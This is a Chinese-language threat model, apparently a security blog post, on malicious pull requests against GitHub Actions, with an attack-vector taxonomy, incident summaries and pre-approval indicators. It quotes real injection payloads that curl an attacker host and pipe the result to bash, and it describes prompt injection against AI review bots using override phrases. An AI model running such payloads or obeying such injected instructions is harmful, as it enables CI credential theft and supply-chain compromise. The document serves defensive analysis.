恶意 Pull Requests 威胁模型

目录

一份针对 GitHub Actions 的公开记录恶意 PR 活动调查汇编为威胁模型。涵盖攻击者、面临风险的资产、攻击者可控制的影响面以及攻击向量分类法。反映截至 2026 年中期的情况。

2026 年 5 月更新:我们见证了针对 400+ 个流行软件包的大规模妥协,例如 @tanstack/*@mistralai,手法是通过恶意 Pull Request。

2026 年 5 月 11 日,一个 GitHub 用户 zblgg 从一个 fork 发起针对 TanStack Router 的 PR #7378。该 PR 触发了一个 pull_request_target 工作流,该工作流签出攻击者的代码并在基础仓库的上下文中运行。每次推送到 PR 分支都会向共享的 GitHub Actions 缓存中写入一个被污染的 pnpm store。当 TanStack 的发布流水线稍后恢复该缓存时,恶意 payload 得以执行。随后攻击者强制推送该分支以匹配 main HEAD(导致变更可见性为 0)并删除了它。

这正是本文所述的 V5 攻击向量。

阅读 TanStack 博客关于此次事件的文章以及我们的缓存投毒博客文章。

范围

针对运行 GitHub Actions 的公开仓库的外部 Pull Request。涵盖内容:攻击者、目标、面临风险的资产、可控制的影响面、攻击向量分类法。暂不涵盖:检测架构。

背景

在从 fork 到公开仓库的 PR 中,默认设置"要求外部贡献者审批"会产生两种并行状态:

  • 已安装的 GitHub App 发出的检查运行(check runs)在 PR 打开时立即触发。
  • 工作流运行在 action_required 中等待,直到维护者点击"审批并运行"。

攻击者模型

  • 主要行为者。​ 以生态系统规模运作的自主 LLM 驱动型智能体(hackerbot-claw 风格)。已观察到:2026 年 2 月 27 日至 3 月 2 日的 4 天内,在 Microsoft、Datadog、Aqua Security (Trivy)、CNCF Akri、RustPython、awesome-go 等 9 个仓库中提交了 16 个 PR。
  • 次要行为者。​ 人类供应链攻击者,针对单个高价值项目(Trivy)。在 PR 提交时与机器人无法区分。
  • 能力。​ 从 fork 发起 PR,控制 PR 携带的每一个字节,可以发表评论。无法推送到基础仓库。
  • 不在范围内。​ 维护者账户被攻陷、 insider 威胁、自托管运行器逃逸、现有可信 actions 的妥协。

攻击者目标

按观察到的频率排序:

  1. 从 CI 运行器中窃取凭据。​ GITHUB_TOKEN、npm / PyPI / cargo token、云凭据、SSH 密钥、注册表 token。tj-actions、s1ngularity / Nx、Trivy。
  2. 仓库写入和标签投毒。​ 强制推送到标签、仓库重命名、删除发布版本。Trivy:76 个 trivy-action 标签中的 75 个以及全部 7 个 setup-trivy 标签被强制推送。
  3. 通过窃取的包 token 进行供应链传播。​ Shai-Hulud 模式。攻击者在 Trivy 妥协后 24 小时内武器化了 64 个 npm 包,并在 60 秒内重新发布了 28 个 @emilgroup 包。
  4. 通过提示注入劫持 AI 审核机器人。​ 机器人使用自己的 GitHub token 执行操作(修改 CODEOWNERS、大量打标签、推送提交)。
  5. 在 CI 计算资源上进行投机性加密挖矿或蠕虫托管

面临风险的资产

  • 发放给工作流的 GITHUB_TOKENpull_request_target 默认范围:contents: write + pull_requests: write
  • 处于 ${{ secrets.* }} 下的仓库 secrets:云端、注册表、签名、跨组织 PAT。
  • 按 ref 范围且可从 main 读取的 actions/cache 条目。
  • 已安装 AI 机器人(Claude Code Action、Copilot、Devin)的身份凭据。
  • 下游发布的制品(npm、PyPI、OCI、GitHub Releases)以及每个消费者对可变标签的固定。

可控制的影响面

攻击者可控制保持可信
PR diff:内容、路径、新文件、删除main 上的工作流文件(pull_request_target 读取 base)
PR 标题、正文、head 分支名、head SHA仓库 secrets
提交消息、未签名作者 / 提交者名称和邮箱合并时的分支保护
PR 评论基仓库上定义的触发器和工作流

关键不对称性。​ 攻击者无法在他们的 fork 中编辑一个工作流,然后让编辑后的版本在 PR 下以 pull_request_target 运行。他们必须找到基础 main 上已有的存在漏洞的工作流,并向其输入攻击者可控的输入。

攻击向量分类法

#名称机制受害仓库的前提条件
V1run: 中注入表达式攻击者可控的字符串(分支名、文件名、PR 标题 / 正文)通过 ${{ }} 插入到 shell 块中。Bash 评估 $(...)${IFS}任何将不可信上下文插入到 run: 的工作流。
V2Pwn request(经典)pull_request_target + 签出 PR head + 构建步骤(npm cimakego buildpytest)。preinstall / Makefile / init() / conftest.py 使用 secrets 运行。pull_request_target、签出不可信 ref、不可信执行。
V3Lockfile / manifest 投毒PR 修改 package-lock.jsongo.sumpoetry.lock 以拉取恶意版本。在安装时(V2)或合并后对消费者执行。任何安装依赖项的 CI 步骤。
V4针对 AI 审核者的提示注入PR 正文、issue 正文、CLAUDE.md、代码注释中包含覆盖指令。机器人使用自己的 token 执行这些指令。调用 AI 审核者处理不可信 PR / issue 文本的工作流。
V5缓存投毒Fork 触发的工作流向一个 actions/cache 键写入内容,该键稍后被 main 上的特权工作流读取。缓存键未按 github.ref 或 head SHA 限定范围。
V6合并时修改工作流文件PR 编辑 .github/workflows/*.yml。在合并时激活,或通过 V2 更早激活。维护者合并时未审查工作流 diff。
V7评论触发的特权工作流/format/test 风格的触发器,没有 author_association 检查。on: issue_comment 按正则表达式而非角色限制。
V8workflow_run 链式调用下游 workflow_run 从 PR 触发的运行中读取制品 / PR 号,在不重新验证输入的情况下使用 secrets 对其执行操作。两阶段 pull_request + workflow_run,缺少输入检查。

V1、V2、V3 主导了观察到的攻击。V4 随 AI 审核机器人采用而增长;Aikido 将其中一部分归类为 PromptPwnd。V5 到 V8 较罕见,但在存在时影响更高。V2 的基础参考文献是 GitHub SecurityLab 2021 年的防止 pwn requests

三种结构性 PR 形态

  • 无害 diff,元数据中带 payload。​ 微小的 diff。payload 在分支名、文件名或 PR 标题中。示例:dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)(Microsoft AI Discovery、RustPython)、$(echo${IFS}Y3VybC...|base64${IFS}-d|bash).md(Datadog IaC 扫描器)。依赖 V1。
  • 看似有益的贡献,有毒的 payload。​ 看起来合法的修复,添加 preinstall / postinstallpackage.json、编辑 Makefile、添加 Go init(),或修改 conftest.py。依赖 V2。
  • 提示陷阱。​ PR 正文、issue 正文、CLAUDE.md 编辑或代码注释带有"忽略之前的所有指令……",目标是 Claude Code Action / Copilot / Devin。依赖 V4。与 AI-native SDLC 威胁模型 中调查的同类威胁相同。

审批前的可观测指标

在点击"审批"前可观测:

  • 完整 PR diff、文件列表、提交 SHA、消息、作者邮箱、签名状态。
  • PR 标题、正文、head 分支名、head SHA。
  • main 上的基础仓库工作流文件。支持静态枚举此特定仓库适用 V1 至 V8 中的哪些向量。
  • 作者关联和之前 PR 历史。
  • 文件级风险标记:lockfile 被修改、添加了 Makefile、编辑了工作流文件、修改了 CLAUDE.md

不可观测:

  • 工作流运行时行为(尚未运行)。
  • Secret 值。
  • 出站网络活动。
  • 维护者是否会审批,以及何时审批。

检查运行必须在点击"审批"前几秒内落地。

爆炸半径

  • 受控。​ Secrets 范围狭窄,分支保护防止标签强制推送,GITHUB_TOKEN 为只读。攻击者获得一个运行器的 RCE,空手退出。Datadog IaC 扫描器结果。
  • 失控。​ 运行器中有跨组织 PAT,标签未受保护,发布签名缺失。攻击者窃取 PAT,强制推送标签,一小时内约 10,000 个下游工作流解析到攻击者制品。包 token 随后被武器化。Trivy 结果。

同一 exploit 的严重性在这两种姿态间跨越三个数量级。一种有用的严重性模型将仓库配置作为主要输入。

不在范围内

  • 自托管运行器逃逸。
  • 维护者账户被攻陷或 insider。
  • 合并后标签投毒(由 push 触发到标签)。
  • PR 中的经典源代码漏洞(SAST / 现有恶意分析领域)。

术语表

  • Pwn request。​ 由外部 PR 触发的工作流,在执行不可信代码的同时获得对目标仓库的写入访问和 / 或 secrets。术语来自 GitHub SecurityLab,2021
  • pull_request_target。​ Actions 触发器,无论哪个分支打开了 PR,都使用 base-repo 上下文、secrets 和写范围 GITHUB_TOKEN 运行。用于被动 PR 操作。
  • action_required。​ GitHub 对等待维护者审批而排队的工作流运行的状态结论。在审批前永不执行。
  • Check run。​ 由 GitHub App 创建的 Checks API 对象,独立于 Actions。对于已安装的 App 在 PR 打开时触发。
  • Shai-Hulud。​ 蠕虫活动,从 CI 中窃取 npm publish token,在注册表中重新发布特洛伊化包。

参考

SafeDep 博客最新更新

关注以获取开源安全与工程领域的最新动态和洞察